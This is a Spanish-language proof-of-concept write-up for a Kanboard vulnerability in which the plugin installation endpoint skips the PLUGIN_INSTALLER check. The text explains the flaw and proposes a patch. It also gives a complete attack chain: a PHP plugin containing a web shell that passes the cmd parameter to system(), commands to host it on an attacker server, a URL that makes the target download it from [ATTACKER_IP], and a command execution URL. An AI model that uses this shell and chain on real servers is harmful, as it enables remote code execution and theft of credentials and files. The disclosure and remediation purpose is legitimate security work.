
Prueba de concepto del exploit para CVE-2026-25924, que demuestra la ejecución remota de código a nivel administrativo en Kanboard mediante una comprobación de control de acceso ausente en la instalación de complementos.
Prueba de Concepto para RCE Administrativo mediante Bypass de Control de Seguridad
Divulgación: Reportado originalmente por mí a través de GHSA-grch-p7vf-vc4f
⚠️ Solo para uso autorizado en pentesting/investigación.
| Campo | Valor |
|---|
| ID CVE | CVE-2026-25924 |
| Severidad | 🔴 Alta |
| Puntuación CVSS | 8.4 |
| Vector CVSS | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| CWE | CWE-863: Autorización Incorrecta |
| Producto Afectado | Kanboard ≤ 1.2.49 |
| Versión Parcheada | 1.2.50 |
| Aviso | GHSA-grch-p7vf-vc4f |
Una vulnerabilidad de bypass de control de seguridad en Kanboard v1.2.49 permite a un administrador autenticado lograr una Ejecución Remota de Código (RCE) completa. Aunque la aplicación oculta correctamente la interfaz de instalación de plugins cuando la configuración PLUGIN_INSTALLER está establecida en false, el endpoint backend subyacente no verifica esta configuración de seguridad. Un atacante puede explotar esta omisión para forzar al servidor a descargar e instalar un plugin malicioso, lo que conduce a la ejecución arbitraria de código.


Kanboard utiliza una constante de seguridad PLUGIN_INSTALLER para restringir la capacidad de instalar plugins desde URLs remotas. Esto se define en app/constants.php:
Archivo: app/constants.php
21: defined('PLUGIN_INSTALLER') or define('PLUGIN_INSTALLER', strtolower(getenv('PLUGIN_INSTALLER')) === 'true'); // Disabled by default for security reasons
La aplicación verifica correctamente esta configuración en los métodos de renderizado de la interfaz de usuario del PluginController, como show() y directory(), utilizando Installer::isConfigured():
Archivo: app/Controller/PluginController.php
22: public function show()
23: {
...
28: 'is_configured' => Installer::isConfigured(),
29: )));
30: }
Sin embargo, el método install() en el mismo controlador no realiza esta verificación. Solo valida el token CSRF antes de proceder a descargar e instalar un plugin desde una URL arbitraria proporcionada en el parámetro archive_url.
Código Vulnerable en app/Controller/PluginController.php:
56: public function install()
57: {
58: $this->checkCSRFParam();
59: $pluginArchiveUrl = urldecode($this->request->getStringParam('archive_url'));
60:
61: try {
62: $installer = new Installer($this->container);
63: $installer->install($pluginArchiveUrl); // <--- VULNERABILITY: Missing check for Installer::isConfigured()
64: $this->flash->success(t('Plugin installed successfully.'));
65: } catch (PluginInstallerException $e) {
66: $this->flash->failure($e->getMessage());
67: }
68:
69: $this->response->redirect($this->helper->url->to('PluginController', 'show'));
70: }
Dado que Installer::install() tampoco verifica la constante PLUGIN_INSTALLER, un administrador puede eludir la restricción prevista simplemente accediendo al endpoint directamente con un token CSRF válido. Una vez instalado, el plugin malicioso es cargado y ejecutado automáticamente por el Kanboard\Core\Plugin\Loader, otorgando al atacante RCE completo.
Crea un directorio llamado Exploit con un archivo Plugin.php:
<?php
namespace Kanboard\Plugin\Exploit;
use Kanboard\Core\Plugin\Base;
class Plugin extends Base {
public function initialize() {
// Web shell listener
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
}
}
Comprime la carpeta y alójala en un servidor controlado por el atacante:
zip -r exploit.zip Exploit/
python3 -m http.server 80

Inicia sesión en Kanboard como administrador. Obtén tu csrf_token del código fuente de la página y navega a:
http://[TARGET_IP]:8080/?controller=PluginController&action=install&archive_url=http://[ATTACKER_IP]/exploit.zip&csrf_token=[YOUR_TOKEN]

Usa el parámetro cmd para ejecutar comandos arbitrarios del sistema:
http://[TARGET_IP]:8080/?controller=DashboardController&action=show&cmd=id


Esta vulnerabilidad permite a un administrador eludir las restricciones de seguridad impuestas por el host. Al lograr RCE, el atacante puede:
/etc/passwd, config.php).Agrega una verificación de Installer::isConfigured() al inicio de los métodos install() y update() en app/Controller/PluginController.php:
if (! Installer::isConfigured()) {
throw new AccessForbiddenException();
}